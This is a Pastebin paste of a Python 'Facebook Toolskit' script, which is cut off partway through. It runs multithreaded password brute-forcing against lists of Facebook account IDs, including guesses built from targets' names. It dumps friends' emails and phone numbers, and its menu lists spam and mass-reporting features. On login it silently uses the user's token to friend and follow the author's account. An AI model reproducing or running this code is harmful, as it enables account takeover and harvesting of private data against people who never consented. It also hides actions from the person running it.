Advertisement
Guest User

Untitled

a guest
Nov 7th, 2019
1,710
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 90.63 KB | None | 0 0
  1. #!usr/bin/python3.7
  2. # coding: utf-8
  3.  
  4. # Terimakasih sudah decode script ini tolong dipake sendiri ea #
  5.  
  6. # *Facebook Toolskit
  7. # *uler versi 3
  8. # *copyright: (C) © 2019 ~ DulLah
  9. # *contact me on telegram: https://t.me/unikers
  10. # *script ini gratis jangan di jual belikan hehee:)*
  11.  
  12. try:
  13.     from getpass import getpass
  14.     from multiprocessing.pool import ThreadPool
  15.     from bs4 import BeautifulSoup as BS
  16.     from time import sleep
  17.     from http.cookiejar import LWPCookieJar as cookie
  18.     import re,os,sys,requests,mechanize,time,random,hashlib
  19. except Exception as E:
  20.     exit("[Error Module] %s"%(E))
  21.  
  22. br=mechanize.Browser()
  23. cj=cookie("log/cookies.log")
  24. br.set_cookiejar(cj)
  25. br.set_handle_gzip(True)
  26. br.set_handle_redirect(True)
  27. br.set_handle_referer(True)
  28. br.set_handle_robots(False)
  29. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
  30. br.addheaders=[('User-Agent','Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16')]
  31. s=requests.Session()
  32. api="https://graph.facebook.com/{}"
  33. url="https://mbasic.facebook.com{}"
  34. hea={"User-Agent":"Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16"}
  35.  
  36. id=[]
  37. target=[]
  38. found=[]
  39. success=[]
  40. checkpoint=[]
  41.  
  42. W="\033[0;97m"
  43. C="\033[0;96m"
  44. Y="\033[0;93m"
  45. G="\033[0;92m"
  46.  
  47. def menu_toolskit():
  48.     print("""
  49.  [ 01 ]  Multi Brute Force With Single Password
  50.  [ 02 ]  Super Multi Brute Force
  51.  [ 03 ]  Dump ID
  52.  [ 04 ]  Dump Email
  53.  [ 05 ]  Dump Phone Numbers
  54.  [ 06 ]  Delete All Messages
  55.  [ 07 ]  Delete All Photo In your albums
  56.  [ 08 ]  Delete All Post
  57.  [ 09 ]  Untag All post
  58.  [ 10 ]  Hide All post
  59.  [ 11 ]  Delete Albums
  60.  [ 12 ]  Delete Friends Inactive User
  61.  [ 13 ]  Delete All Friends
  62.  [ 14 ]  Stop Following All Friends
  63.  [ 15 ]  Leave All Groups
  64.  [ 16 ]  Accept Or Delete Friends Requests
  65.  [ 17 ]  See My Groups Lists
  66.  [ 18 ]  See My Access Token
  67.  [ 19 ]  See My Cookies
  68.  [ 20 ]  User Information
  69.  [ 21 ]  Yahoo Email Cloning
  70.  [ 22 ]  Gett Mail Hotmail From Friends
  71.  [ 23 ]  Auto Pokes
  72.  [ 24 ]  Auto Reactions
  73.  [ 25 ]  Auto Comment
  74.  [ 26 ]  Auto Chat
  75.  [ 27 ]  Reactions Comment Target Post
  76.  [ 28 ]  Spam Comment Target Post
  77.  [ 29 ]  Auto Add Friends
  78.  [ 30 ]  Unadd Requests Sent
  79.  [ 31 ]  Auto Reporting Target Id
  80.  [ 32 ]  Auto Reset Password From List Account
  81.  [ 33 ]  Account Checker From List Account
  82.  [ 34 ]  Auto Posting Status
  83.  [ 35 ]  Change Your Bio
  84.  [ 36 ]  Edit Profile Picture
  85.  [ 37 ]  Edit Cover Photo
  86.  [ 38 ]  Change Your Password
  87.  [ 39 ]  Facebook Overload Account
  88.  [ 40 ]  Facebook Profile Guard
  89.  [ 00 ]  Remove Access Token & Cookies
  90. """)
  91.  
  92. def menu_dump_id():
  93.     print("""
  94.  [ 01 ]  Dump Id From Your Lists Friends
  95.  [ 02 ]  Dump Id From Your Friends Id
  96.  [ 03 ]  Dump Id From Your Groups Id
  97.  [ 04 ]  Dump Id From Your All Groups
  98.  [ 05 ]  Dump Id With Search Name
  99.  [ 00 ]  Back To Menu
  100. """)
  101.  
  102. def menu_reactions():
  103.     print("""
  104.  [ 01 ]  Like
  105.  [ 02 ]  Reactions LOVE
  106.  [ 03 ]  Reactions WOW
  107.  [ 04 ]  Reactions HAHA
  108.  [ 05 ]  Reactions SAD
  109.  [ 06 ]  Reactions ANGRY
  110.  [ 00 ]  Back To Menu
  111. """)
  112.  
  113. def menu_chat():
  114.     print("""
  115.  [ 01 ]  Mass Chat
  116.  [ 02 ]  Spam Chat Target
  117.  [ 00 ]  Back To Menu
  118. """)
  119.  
  120. def menu_add():
  121.     print("""
  122.  [ 01 ]  Add Friends From Groups Id
  123.  [ 02 ]  Add Friends From Friends Id
  124.  [ 00 ]  Back To Menu
  125. """)
  126.  
  127. def menu_posting():
  128.     print("""
  129.  [ 01 ]  Post In Your Timeline
  130.  [ 02 ]  Post In Your Friends
  131.  [ 03 ]  Post In your Groups
  132.  [ 00 ]  Back To Menu
  133. """)
  134.  
  135. def checking():
  136.     banner()
  137.     try:
  138.         token=open("log/token.log","r").read()
  139.     except IOError:
  140.         get()
  141.     try:
  142.         cek=s.get(api.format("me?access_token=%s"%(token)),headers=hea).json()["name"]
  143.         menu()
  144.     except KeyError:
  145.         print("[warning] access token invalid!")
  146.         sleep(3)
  147.         os.system("rm -rf log")
  148.         get()
  149.     except requests.exceptions.ConnectionError:
  150.         exit("[!] connection error")
  151. def get():
  152.     banner()
  153.     try:
  154.         os.mkdir("log")
  155.     except:pass
  156.     print("[!] please login first via opera mini to avoid checkpoint")
  157.     usr=input("[?] username: ")
  158.     pwd=getpass("[?] password: ")
  159.     if usr and pwd in [""]:
  160.         exit("[!] you stuppid")
  161.     try:
  162.         br.open("https://mbasic.facebook.com")
  163.     except mechanize.URLError:
  164.         exit("[!] login fail check your connection")
  165.     br._factory.is_html=True
  166.     br.select_form(nr=0)
  167.     br.form["email"]=usr
  168.     br.form["pass"]=pwd
  169.     br.submit()
  170.     login=br.geturl()
  171.     if "save-device" in str(login):
  172.         cj.save()
  173.         sig= 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+usr+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
  174.         data={"api_key":"882a8490361da98702bf97a021ddc14d","credentials_type":"password","email":usr,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":pwd,"return_ssl_resources":"0","v":"1.0"}
  175.         x=hashlib.new("md5")
  176.         x.update(sig.encode("utf-8"))
  177.         data.update({'sig':x.hexdigest()})
  178.         js=s.get("https://api.facebook.com/restserver.php",params=data,headers=hea).json()
  179.         if "access_token" in str(js):
  180.             s.post(api.format("me/friends?method=post&uids=dulahz&access_token="+js["access_token"]),headers=hea)
  181.             s.post(api.format("dulahz/subscribers?access_token="+js["access_token"]),headers=hea)
  182.             open("log/token.log","w").write(js["access_token"])
  183.             print("[*] login successfully")
  184.             sleep(3)
  185.             menu()
  186.         else:
  187.             exit("[!] failed when generate access token")
  188.     elif "checkpoint" in str(login):
  189.         exit("[!] login fail account checkpoint")
  190.     else:
  191.         exit("[!] login fail check your username or password")
  192.  
  193. def results(found,checkpoint):
  194.     if len(found) !=0:
  195.         print("\n\n[*] found %s"%(len(found)))
  196.         for x in found:print("### %s"%(x))
  197.         print("\n[#] file saved as: crack/found.txt")
  198.     if len(checkpoint) !=0:
  199.         print("\n\n[*] checkpoint %s"%(len(checkpoint)))
  200.         for x in checkpoint:print("### %s"%(x))
  201.         print("\n[#] file saved as: crack/cek.txt")
  202.     if len(found) ==0 and len(checkpoint) ==0:
  203.         print("[*] no result found:)*")
  204.        
  205. def mbf_singel():
  206.     global pw,loop
  207.     loop=0
  208.     file=input("[?] id list target: ")
  209.     if file in [""]:
  210.         exit("[!] you stuppid")
  211.     try:
  212.         idt=open(file,"r").readlines()
  213.         for id in idt:
  214.             target.append(id.strip())
  215.     except:
  216.         exit("[!] file not found")
  217.     print("[!] password must be of minimum 6 characters")
  218.     pw=input("[?] password to crack: ")
  219.     if pw in [""]:
  220.         exit("[!] you stuppid")
  221.     print("[*] crack with password %s"%(pw))
  222.     try:
  223.         os.mkdir("crack")
  224.     except:
  225.         pass
  226.     m=ThreadPool(30)
  227.     m.map(cs,target)
  228.     results(found,checkpoint)
  229.     exit()
  230.  
  231. def mbf_super():
  232.     global loop,token
  233.     loop=0
  234.     try:
  235.         token=open("log/token.log","r").read()
  236.     except IOError:
  237.         exit("[warning] access token not found")
  238.     file=input("[?] id list target: ")
  239.     if file in [""]:
  240.         exit("[!] you stuppid")
  241.     try:
  242.         idt=open(file,"r").readlines()
  243.         for id in idt:
  244.             target.append(id.strip())
  245.     except:
  246.         exit("[!] file not found")
  247.     try:
  248.         os.mkdir("crack")
  249.     except:
  250.         pass
  251.     m=ThreadPool(30)
  252.     m.map(sc,target)
  253.     results(found,checkpoint)
  254.     exit()
  255.  
  256. def cs(user):
  257.     global loop,pw
  258.     try:
  259.         URL="https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+str(user)+"&locale=en_US&password="+str(pw)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
  260.         data=s.get(URL).json()
  261.         if "access_token" in data:
  262.             wrt="%s|%s"%(user,pw)
  263.             found.append(wrt)
  264.             open("crack/found.txt","a").write("%s\n"%(wrt))
  265.         elif "www.facebook.com" in data["error_msg"]:
  266.             wrt="%s|%s"%(user,pw)
  267.             checkpoint.append(wrt)
  268.             open("crack/cek.txt","a").write("%s\n"%(wrt))
  269.         loop+=1
  270.         print("\r[*] cracking %s/%s found:%s checkpoint:%s  "%(loop,len(target),len(found),len(checkpoint)),end="")
  271.         sys.stdout.flush()
  272.     except:pass
  273.  
  274. def sc(user):
  275.     global loop,token
  276.     try:
  277.         z=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  278.         name1 = z['first_name']
  279.         name2 = z['last_name']
  280.         for pw in [name1,name1+"123",name1+"1234",name1+"12345",name2,name2+"123",name2+"1234",name2+"12345"]:
  281.             URL="https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+str(user)+"&locale=en_US&password="+str(pw)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
  282.             data=s.get(URL).json()
  283.             if "access_token" in data:
  284.                 wrt="%s|%s"%(user,pw)
  285.                 found.append(wrt)
  286.                 open("crack/found.txt","a").write("%s\n"%(wrt))
  287.                 break
  288.             elif "www.facebook.com" in data["error_msg"]:
  289.                 wrt="%s|%s"%(user,pw)
  290.                 checkpoint.append(wrt)
  291.                 open("crack/cek.txt","a").write("%s\n"%(wrt))
  292.                 break
  293.         loop+=1
  294.         print("\r[*] cracking %s/%s found:%s checkpoint:%s  "%(loop,len(target),len(found),len(checkpoint)),end="")
  295.         sys.stdout.flush()
  296.     except:pass
  297.  
  298. def dump_id():
  299.     menu_dump_id()
  300.     CH=input("[+] dump/id_> ")
  301.     if CH in [""]:
  302.         exit("[!] you stuppid")
  303.     elif CH in ["1","01"]:
  304.         dump_id_friends()
  305.     elif CH in ["2","02"]:
  306.         dump_id_friends_id()
  307.     elif CH in ["3","03"]:
  308.         dump_id_groups_id()
  309.     elif CH in ["4","04"]:
  310.         dump_id_allgroups()
  311.         exit()
  312.     elif CH in ["5","05"]:
  313.         dump_id_search_name()
  314.     elif CH in ["0","00"]:
  315.         menu()
  316.     else:
  317.         exit("[!] you stuppid")
  318.  
  319. def dump_id_friends():
  320.     print("[*] fetching all user id")
  321.     try:
  322.         os.mkdir("dump")
  323.     except:pass
  324.     try:
  325.         wrt=open("dump/friends_id.txt","w")
  326.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  327.             id.append(x["id"])
  328.             wrt.write("%s\n"%(x["id"]))
  329.             print("\r[*] %s retrieved > %s  "%(x["id"],len(id)),end=""),
  330.             sys.stdout.flush()
  331.             sleep(0.003)
  332.         wrt.close()
  333.         print("\n[*] all user id successfully retrieved")
  334.         exit("[#] file saved as: dump/friends_id.txt")
  335.     except KeyError:
  336.         exit("\n[!] failed to retrive all user id")
  337.     except requests.exceptions.ConnectionError:
  338.         print("\n[!] failed to retrive all user id")
  339.         exit("[!] check your connection")
  340.  
  341. def dump_id_friends_id():
  342.     idf=input("[?] your friends id: ")
  343.     if idf in [""]:
  344.         exit("[!] you stuppid")
  345.     try:
  346.         a=s.get(api.format("%s?access_token=%s"%(idf,token)),headers=hea).json()["name"]
  347.     except KeyError:
  348.         exit("[!] user id not found")
  349.     except requests.exceptions.ConnectionError:
  350.         print("[!] failed to retrive all user id")
  351.         exit("[!] check your connection")
  352.     print("[*] fetching all user id")
  353.     print(f"[*] from {a}")
  354.     try:
  355.         os.mkdir("dump")
  356.     except:pass
  357.     wrt=open("dump/"+idf+"_id.txt","w")
  358.     try:
  359.         for x in s.get(api.format("%s/friends?access_token=%s"%(idf,token)),headers=hea).json()["data"]:
  360.             id.append(x["id"])
  361.             wrt.write("%s\n"%(x["id"]))
  362.             print("\r[*] %s retrieved > %s  "%(x["id"],len(id)),end=""),
  363.             sys.stdout.flush()
  364.             sleep(0.003)
  365.         wrt.close()
  366.         print("\n[*] all user id successfully retrieved")
  367.         exit("[#] file saved as: dump/%s_id.txt"%(idf))
  368.     except KeyError:
  369.         exit("\n[!] failed to retrive all user id")
  370.     except requests.exceptions.ConnectionError:
  371.         print("\n[!] failed to retrive all user id")
  372.         exit("[!] check your connection")
  373.  
  374. def dump_id_groups_id():
  375.     idg=input("[?] your groups id: ")
  376.     if idg in [""]:
  377.         exit("[!] you stuppid")
  378.     try:
  379.         a=s.get(api.format("group/?id=%s&access_token=%s"%(idg,token)),headers=hea).json()["name"]
  380.     except KeyError:
  381.         exit("[!] groups id not found")
  382.     except requests.exceptions.ConnectionError:
  383.         exit("[!] connection error")
  384.     print("[*] fetching all user id")
  385.     print(f"[*] from {a}")
  386.     try:
  387.         os.mkdir("dump")
  388.     except:pass
  389.     wrt=open("dump/"+idg+"_id.txt","w")
  390.     try:
  391.         for x in s.get(api.format("%s/members?fields=name,id&limit=5000&access_token=%s"%(idg,token)),headers=hea).json()["data"]:
  392.             id.append(x["id"])
  393.             wrt.write("%s\n"%(x["id"]))
  394.             print("\r[*] %s retrieved > %s  "%(x["id"],len(id)),end=""),
  395.             sys.stdout.flush()
  396.             sleep(0.003)
  397.         wrt.close()
  398.         print("\n[*] all user id successfully retrieved")
  399.         exit("[#] file saved as: dump/%s_id.txt"%(idg))
  400.     except KeyError:
  401.         exit("\n[!] failed to retrive all user id")
  402.     except requests.exceptions.ConnectionError:
  403.         print("\n[!] failed to retrive all user id")
  404.         exit("[!] check your connection")
  405.  
  406. def dump_id_allgroups():
  407.     global wrt
  408.     print("[*] fetching all user id")
  409.     try:
  410.         os.mdkir("dump")
  411.     except:pass
  412.     wrt=open("dump/allgroups_id.txt","w")
  413.     try:
  414.         for x in s.get(api.format("me/groups?access_token=%s"%(token)),headers=hea).json()["data"]:
  415.             maingiduser(x["id"])
  416.     except:pass
  417.     wrt.close()
  418.     exit("\n[*] done\n[#] file saved as: dump/allgroups_id.txt")
  419.    
  420. def maingiduser(idg):
  421.     try:
  422.         for x in s.get(api.format("%s/members?fields=name,id&limit=5000&access_token=%s"%(idg,token)),headers=hea).json()["data"]:
  423.             id.append(x["id"])
  424.             wrt.write("%s\n"%(x["id"]))
  425.             print("\r[*] %s retrieved > %s  "%(x["id"],len(id)),end=""),
  426.             sys.stdout.flush()
  427.             sleep(0.001)
  428.     except:pass
  429.        
  430. def dump_id_search_name():
  431.     global wrt
  432.     print("[*] checking cookies")
  433.     try:
  434.         s.cookies=cookie("log/cookies.log")
  435.         s.cookies.load()
  436.         a=s.get(url.format("/me"),headers=hea).text
  437.         if "mbasic_logout_button" in str(a):
  438.             print("[*] cookies valid")
  439.             name=input("[?] search name: ")
  440.             if name in [""]:
  441.                 exit("[!] you stuppid")
  442.             print("[*] fetching all user id")
  443.             wrt=open("dump/search_id.txt","w")
  444.             getId(url.format("/search/people/?q=%s"%(name)))
  445.         else:
  446.             print("[warning] cookies not valid")
  447.             os.system("rm -rf log")
  448.             exit()
  449.     except requests.exceptions.ConnectionError:
  450.         exit("[!] connection error")
  451. def getId(link):
  452.     try:
  453.         a=s.get(link,headers=hea).text
  454.         bs=BS(a,"html.parser")
  455.         for x in bs.find_all("a",href=True):
  456.             if "/a/mobile/friends/add_friend.php?" in str(x):
  457.                 ids=re.findall(r"/?id=(.*?)&hf=",x.get("href"))
  458.                 id.append(ids[0])
  459.                 wrt.write("%s\n"%(ids[0]))
  460.                 print("\r[*] %s retrieved > %s  "%(ids[0],len(id)),end=""),
  461.                 sys.stdout.flush()
  462.                 sleep(0.003)
  463.         if "Lihat Hasil Selanjutnya" in str(bs):
  464.             getId(bs.find("a",string="Lihat Hasil Selanjutnya").get("href"))
  465.     except requests.exceptions.ConnectionError:
  466.         exit("\n[!] connection error")
  467.     wrt.close()
  468.     print("\n[*] all user id successfully retrieved")
  469.     exit("[#] file saved as: dump/search_id.txt")
  470.    
  471. def dump_email():
  472.     print("[*] fetching all user id")
  473.     global token,wrt
  474.     try:
  475.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  476.             target.append(x["id"])
  477.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  478.             sys.stdout.flush()
  479.             sleep(0.003)
  480.     except KeyError:
  481.         exit("\n[!] failed to retrive all user id")
  482.     except requests.exceptions.ConnectionError:
  483.         print("\n[!] failed to retrive all user id")
  484.         exit("[!] check your connection")
  485.     try:
  486.         os.mkdir("dump")
  487.     except:pass
  488.     wrt=open("dump/friends_email.txt","w")
  489.     print("\n[*] all user id successfully retrieved")
  490.     print("[*] getting email from friends")
  491.     print("[*] start ...\n")
  492.     m=ThreadPool(30)
  493.     m.map(de,target)
  494.     wrt.close()
  495.     print("\n[*] done")
  496.     print("[#] file saved as: dump/friends_email.txt")
  497.     exit()
  498. def de(user):
  499.     try:
  500.         a=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  501.         wrt.write("%s\n"%(a["email"]))
  502.         print("[-] %s > %s"%(a["name"],a["email"]))
  503.     except KeyError:pass
  504.     except requests.exceptions.ConnectionError:
  505.         exit("[!] connection error")
  506.  
  507. def dump_phone():
  508.     print("[*] fetching all user id")
  509.     global token,wrt
  510.     try:
  511.         for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  512.             target.append(x["id"])
  513.             print("\r[*] %s retrieved > %s  "%(x["id"],len(target)),end=""),
  514.             sys.stdout.flush()
  515.             sleep(0.003)
  516.     except KeyError:
  517.         exit("\n[!] failed to retrive all user id")
  518.     except requests.exceptions.ConnectionError:
  519.         print("\n[!] failed to retrive all user id")
  520.         exit("[!] check your connection")
  521.     try:
  522.         os.mkdir("dump")
  523.     except:pass
  524.     wrt=open("dump/friends_phone.txt","w")
  525.     print("\n[*] all user id successfully retrieved")
  526.     print("[*] getting phone number from friends")
  527.     print("[*] start ...\n")
  528.     m=ThreadPool(30)
  529.     m.map(dp,target)
  530.     wrt.close()
  531.     print("\n[*] done")
  532.     print("[#] file saved as: dump/friends_phone.txt")
  533.     exit()
  534. def dp(user):
  535.     try:
  536.         a=s.get(api.format("%s?access_token=%s"%(user,token)),headers=hea).json()
  537.         wrt.write("%s\n"%(a["mobile_phone"]))
  538.         print("[-] %s > %s"%(a["name"],a["mobile_phone"]))
  539.     except KeyError:pass
  540.     except requests.exceptions.ConnectionError:
  541.         exit("[!] connection error")
  542.  
  543. def delete_messages():
  544.     print("[*] checking cookies")
  545.     try:
  546.         s.cookies=cookie("log/cookies.log")
  547.         s.cookies.load()
  548.         a=s.get(url.format("/me"),headers=hea).text
  549.         if "mbasic_logout_button" in str(a):
  550.             print("[*] cookies valid")
  551.             mainGmess(url.format("/messages"))
  552.         else:
  553.             os.system("rm -rf log")
  554.             exit("[warning] cookies not valid")
  555.     except requests.exceptions.ConnectionError:
  556.         exit("[!] connection error")
  557. def mainGmess(link):
  558.     try:
  559.         a=s.get(link,headers=hea).text
  560.         bs=BS(a,"html.parser")
  561.         for x in bs.find_all("h3"):
  562.             b=x.find("a")
  563.             if "/messages/read/?" in str(b):
  564.                 id.append(url.format(b.get("href")))
  565.                 print(f"\r[*] getting messages id > {len(id)}  ",end="")
  566.                 sys.stdout.flush()
  567.         if "Lihat Pesan Sebelumnya" in str(a):
  568.             mainGmess(url.format(bs.find("a",string="Lihat Pesan Sebelumnya").get("href")))
  569.     except requests.exceptions.ConnectionError:
  570.         exit("\n[!] connection error")
  571.     input("\n[*] press enter to continue ")
  572.     print("[*] start ...\n")
  573.     m=ThreadPool(30)
  574.     m.map(mainDmess,id)
  575.     exit("\n[*] done")
  576. def mainDmess(user):
  577.     try:
  578.         data=[]
  579.         a=s.get(user,headers=hea).text
  580.         bs=BS(a,"html.parser")
  581.         name=bs.find("title").renderContents().decode("utf-8", "ignore")
  582.         for x in bs("form"):
  583.             try:
  584.                 if "action_redirect" in x["action"]:
  585.                     data.append(x["action"])
  586.                     break
  587.             except:pass
  588.         for x in bs("input"):
  589.             try:
  590.                 if "fb_dtsg" in x["name"]:
  591.                     data.append(x["value"])
  592.                 if "jazoest" in x["name"]:
  593.                     data.append(x["value"])
  594.                 if "delete" in x["name"]:
  595.                     data.append(x["value"])
  596.                     break
  597.             except:pass
  598.         if len(data)==4 or len(data)==5 or len(data)==6:
  599.             b=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"delete":data[3]},headers=hea).text
  600.             bs1=BS(b,"html.parser")
  601.             f=s.get(url.format(bs1.find("a",string="Hapus").get("href")))
  602.             if f.status_code==200:
  603.                 print(f"[-] {name} - removed")
  604.             else:
  605.                 print(f"[-] {name} - failed")
  606.         else:
  607.             print(f"[-] {name} - failed")
  608.     except requests.exceptions.ConnectionError:
  609.         exit("\n[!] connection error")
  610.  
  611. def delete_photo():
  612.     print("[*] checking cookies")
  613.     try:
  614.         s.cookies=cookie("log/cookies.log")
  615.         s.cookies.load()
  616.         a=s.get(url.format("/me"),headers=hea).text
  617.         if "mbasic_logout_button" in str(a):
  618.             print("[*] cookies valid")
  619.             print("[info] use https://mbasic.facebook.com")
  620.             link=input("[?] link albums: ")
  621.             if link in [""]:
  622.                 exit("[!] you stuppid")
  623.             if not "albums" in link:
  624.                 exit("[!] you stuppid")
  625.             a=s.get(link,headers=hea).text
  626.             bs=BS(a,"html.parser")
  627.             if "Konten Tidak Ditemukan" in str(bs) or "Halaman Tidak Ditemukan" in str(bs):
  628.                 exit("[!] albums not found")
  629.             print(f"[*] from albums {bs.title.text}")
  630.             mainGphoto(link)
  631.         else:
  632.             os.system("rm -rf log")
  633.             exit("[warning] cookies not valid")
  634.     except requests.exceptions.ConnectionError:
  635.         exit("[!] connection error")
  636. def mainGphoto(link):
  637.     try:
  638.         a=s.get(link,headers=hea).text
  639.         bs=BS(a,"html.parser")
  640.         for x in bs.find_all("a"):
  641.             if "/photo.php?" in str(x):
  642.                 id.append(url.format(x.get("href")))
  643.                 print(f"\r[*] getting photo id > {len(id)}  ",end="")
  644.                 sys.stdout.flush()
  645.         if "Lihat Foto Lainnya" in str(a):
  646.             mainGphoto(url.format(bs.find("a",string="Lihat Foto Lainnya").get("href")))
  647.     except requests.exceptions.ConnectionError:
  648.         exit("\n[!] connection error")
  649.     input("\n[*] press enter to continue ")
  650.     print("[*] start ...\n")
  651.     m=ThreadPool(20)
  652.     m.map(mainDphoto,id)
  653.     exit("\n[*] done")
  654. def mainDphoto(user):
  655.     try:
  656.         data=[]
  657.         a=s.get(user,headers=hea).text
  658.         bs=BS(a,"html.parser")
  659.         b=bs.find("a",string="Edit Foto").get("href")
  660.         c=s.get(url.format(b),headers=hea).text
  661.         bs1=BS(c,"html.parser")
  662.         d=bs1.find("a",string="Hapus Foto").get("href")
  663.         e=s.get(url.format(d),headers=hea).text
  664.         bs2=BS(e,"html.parser")
  665.         for x in bs2("form"):
  666.             if "post" in x["method"]:
  667.                 data.append(x["action"])
  668.         for x in bs2("input"):
  669.             try:
  670.                 if "fb_dtsg" in x["name"]:
  671.                     data.append(x["value"])
  672.                 if "jazoest" in x["name"]:
  673.                     data.append(x["value"])
  674.                 if "confirm_photo_delete" in x["name"]:
  675.                     data.append(x["value"])
  676.                     break
  677.             except:pass
  678.         if len(data)==4:
  679.             f=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"confirm_photo_delete":data[3]},headers=hea)
  680.             id=re.findall(r"/?fbid=(.*?)&id=",user)
  681.             if f.status_code==200:
  682.                 print(f"[-] {id[0]} - removed")
  683.             else:
  684.                 print(f"[-] {id[0]} - failed")
  685.         else:
  686.             print(f"[-] {id[0]} - failed")
  687.     except requests.exceptions.ConnectionError:
  688.         exit("[!] connection error !!")
  689.  
  690. def delete_post():
  691.     print("[*] checking cookies")
  692.     try:
  693.         s.cookies=cookie("log/cookies.log")
  694.         s.cookies.load()
  695.         a=s.get(url.format("/me"),headers=hea).text
  696.         if "mbasic_logout_button" in str(a):
  697.             print("[*] cookies valid")
  698.             mainGpost(url.format("/me"))
  699.         else:
  700.             os.system("rm -rf log")
  701.             exit("[warning] cookies not valid")
  702.     except requests.exceptions.ConnectionError:
  703.         exit("[!] connection error")
  704. def mainGpost(link):
  705.     try:
  706.         a=s.get(link,headers=hea).text
  707.         bs=BS(a,"html.parser")
  708.         for b in bs.find_all("a",string="Lainnya"):
  709.             if "Lainnya" in str(b):
  710.                 id.append(url.format(b.get("href")))
  711.                 print(f"\r[*] getting post id > {len(id)}  ",end="")
  712.                 sys.stdout.flush()
  713.         if "Lihat Berita Lain" in str(a):
  714.             mainGpost(url.format(bs.find("a",string="Lihat Berita Lain").get("href")))
  715.     except requests.exceptions.ConnectionError:
  716.         exit("\n[!] connection error")
  717.     input("\n[*] press enter to continue ")
  718.     print("[*] start ...\n")
  719.     m=ThreadPool(20)
  720.     m.map(mainDpost,id)
  721.     exit("[*] done")
  722. def mainDpost(user):
  723.     try:
  724.         data=[]
  725.         a=s.get(user,headers=hea).text
  726.         bs=BS(a,"html.parser")
  727.         for x in bs("form"):
  728.             if "post" in x["method"]:
  729.                 data.append(x["action"])
  730.         for x in bs("input"):
  731.             try:
  732.                 if "fb_dtsg" in x["name"]:
  733.                     data.append(x["value"])
  734.                 if "jazoest" in x["name"]:
  735.                     data.append(x["value"])
  736.                 if "DELETE" in x["value"]:
  737.                     data.append(x["value"])
  738.                     break
  739.             except:pass
  740.         if len(data)==4:
  741.             b=s.post(url.format(data[0]),data={"fb_dtsg": data[1],"jazoest": data[2],"action_key": data[3]},headers=hea)
  742.             if b.status_code==200:
  743.                 success.append(user)
  744.         print(f"\r[-] {len(id)} removed post > {len(success)}  ",end="")
  745.         sys.stdout.flush()
  746.     except requests.exceptions.ConnectionError:
  747.         exit("\n[!] connection error")
  748.  
  749. def untag_post():
  750.     print("[*] checking cookies")
  751.     try:
  752.         s.cookies=cookie("log/cookies.log")
  753.         s.cookies.load()
  754.         a=s.get(url.format("/me"),headers=hea).text
  755.         if "mbasic_logout_button" in str(a):
  756.             print("[*] cookies valid")
  757.             mainGuntag(url.format("/me"))
  758.         else:
  759.             os.system("rm -rf log")
  760.             exit("[warning] cookies not valid")
  761.     except requests.exceptions.ConnectionError:
  762.         exit("[!] connection error")
  763. def mainGuntag(link):
  764.     try:
  765.         a=s.get(link,headers=hea).text
  766.         bs=BS(a,"html.parser")
  767.         for b in bs.find_all("a",string="Lainnya"):
  768.             if "Lainnya" in str(b):
  769.                 id.append(url.format(b.get("href")))
  770.                 print(f"\r[*] getting post id > {len(id)}  ",end="")
  771.                 sys.stdout.flush()
  772.         if "Lihat Berita Lain" in str(a):
  773.             mainGuntag(url.format(bs.find("a",string="Lihat Berita Lain").get("href")))
  774.     except requests.exceptions.ConnectionError:
  775.         exit("\n[!] connection error")
  776.     input("\n[*] press enter to continue ")
  777.     print("[*] start ...\n")
  778.     m=ThreadPool(20)
  779.     m.map(mainuntag,id)
  780.     exit("[*] done")
  781. def mainuntag(user):
  782.     try:
  783.         data=[]
  784.         a=s.get(user,headers=hea).text
  785.         bs=BS(a,"html.parser")
  786.         for x in bs("form"):
  787.             if "post" in x["method"]:
  788.                 data.append(x["action"])
  789.         for x in bs("input"):
  790.             try:
  791.                 if "fb_dtsg" in x["name"]:
  792.                     data.append(x["value"])
  793.                 if "jazoest" in x["name"]:
  794.                     data.append(x["value"])
  795.                 if "UNTAG" in x["value"]:
  796.                     data.append(x["value"])
  797.                     break
  798.             except:pass
  799.         if len(data)==4:
  800.             b=s.post(url.format(data[0]),data={"fb_dtsg": data[1],"jazoest": data[2],"action_key": data[3]},headers=hea)
  801.             if b.status_code==200:
  802.                 success.append(user)
  803.         print(f"\r[-] {len(id)} untag post > {len(success)}  ",end="")
  804.         sys.stdout.flush()
  805.     except requests.exceptions.ConnectionError:
  806.         exit("\n[!] connection error")
  807.  
  808. def hide_post():
  809.     print("[*] checking cookies")
  810.     try:
  811.         s.cookies=cookie("log/cookies.log")
  812.         s.cookies.load()
  813.         a=s.get(url.format("/me"),headers=hea).text
  814.         if "mbasic_logout_button" in str(a):
  815.             print("[*] cookies valid")
  816.             mainGhide(url.format("/me"))
  817.         else:
  818.             os.system("rm -rf log")
  819.             exit("[warning] cookies not valid")
  820.     except requests.exceptions.ConnectionError:
  821.         exit("[!] connection error")
  822. def mainGhide(link):
  823.     try:
